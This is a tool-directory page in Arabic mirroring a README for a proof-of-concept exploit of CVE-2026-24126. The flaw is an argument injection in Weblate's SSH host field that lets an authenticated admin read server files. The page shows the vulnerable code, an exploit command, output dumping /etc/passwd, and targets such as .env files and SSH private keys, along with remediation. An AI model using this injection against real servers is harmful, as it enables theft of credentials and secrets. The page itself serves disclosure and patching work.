Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Weblate-CVE-2026-24126 — إثبات مفهوم لاستغلال CVE-2026-24126، وهو قراءة تعسفية للملفات في Weblate عبر حقن وسيط المضيف SSH، مما يسمح للمسؤولين المصادق عليهم بقراءة ملفات الخادم. | Kitploit
أدوات/GitHubGitHub/alexb616/weblate-cve-2026-24126
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

إثبات مفهوم لاستغلال CVE-2026-24126، وهو قراءة تعسفية للملفات في Weblate عبر حقن وسيط المضيف SSH، مما يسمح للمسؤولين المصادق عليهم بقراءة ملفات الخادم.

عرض المستودع
17منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Weblate — قراءة ملفات تعسفية عبر حقن وسيط أمر SSH

اكتشفه: Alejandro Baño · يناير 2026 اعترف به: ملاحظات إصدار Weblate 5.16


نظرة عامة

تمرر نقطة نهاية إدارة مفاتيح SSH في Weblate معامل host المقدم من مسؤول مصادق مباشرة إلى ssh-keyscan دون أي تنقية أو تحقق من الوسائط. نظرًا لأن ssh-keyscan يقبل علامة -f <file> لقراءة أسماء المضيفين المستهدفة من ملف، يمكن للمهاجم الذي يمتلك بيانات اعتماد مسؤول حقن هذه العلامة كقيمة المضيف وإجبار الخادم على فتح ملف محلي تعسفي. ينعكس مخرجات الخطأ الناتجة (أو stdout) حرفيًا مرة أخرى إلى المتصفح داخل كتلة رسالة خطأ، مما يكشف محتويات الملف.


تفاصيل الثغرة

الحقلالقيمة
الهدفWeblate (النسخ المستضافة ذاتيًا)
المكوّنإدارة مفاتيح SSH — weblate/ssh/views.py · add_host_key()
المصادقة المطلوبةنعم — حساب مسؤول Weblate
الإصدارات المتأثرةجميع الإصدارات ≤ 5.15.2 (تم اختباره في 5.0.2 و 5.15.2)
التأثيرقراءة ملفات محلية تعسفية كمستخدم عملية خادم الويب (weblate, www-data إلخ.)
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

السبب الجذري

# weblate/ssh/views.py  — مبسّط
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← يتم إلحاق host دون أي تحقق
    result = subprocess.run(cmdline, ...)

تأتي قيمة host مباشرة من حقل host في جسم POST دون قائمة مسموحة، ودون إزالة الشرطات البادئة، ودون فاصل وسيط -- قبل القيمة المقدمة من المستخدم. هذا يسمح للمهاجم بحقن أي علامة من علامات ssh-keyscan.

يقرأ ssh-keyscan -f /etc/passwd ملف /etc/passwd كقائمة بأسماء المضيفين، ويفشل في تحليل كل سطر، وينتج مخرجات خطأ لكل سطر. تنتقل مخرجات الخطأ هذه عبر معالج CalledProcessError وتُعرض داخل كتلة alert-danger في استجابة HTTP.


إثبات المفهوم

python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

الخيارات

العلامةالوصف
-r / --rhostعنوان URL الأساسي لنسخة Weblate
-u / --usernameاسم مستخدم المسؤول
-p / --passwordكلمة مرور المسؤول
-f / --fileمسار الملف المراد قراءته على الخادم

مثال على المخرجات

python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] تم تسجيل الدخول بنجاح للمستخدم: admin
[*] جارٍ إرسال الحمولة إلى http://localhost/manage/ssh/، قد يستغرق هذا بعض الوقت، يرجى التحلي بالصبر...

[+] تم استخراج محتوى الملف:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] انتهى الاستغلال

التأثير

يمكن استخراج أي ملف قابل للقراءة بواسطة مستخدم نظام التشغيل الذي يشغّل Weblate (عادةً مستخدم weblate) من خلال طلب POST واحد مصادق. تشمل الأهداف الحساسة:

  • أسرار التطبيق: settings.py, .env, local_settings.py
  • مفاتيح SSH الخاصة: /var/lib/weblate/.ssh/id_rsa
  • بيانات اعتماد قاعدة البيانات المكشوفة في ملفات الإعدادات

المعالجة

قم بالتحديث إلى Weblate 5.16.0 أو أحدث. هذا هو الإصلاح الرسمي الذي أصدره فريق Weblate في 18 فبراير 2026، والذي أدخل تحققًا مناسبًا من المدخلات في حقل مضيف SSH.

إخلاء المسؤولية

هذا المستودع مخصص لأغراض البحث الأمني التعليمي والمصرح به فقط. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة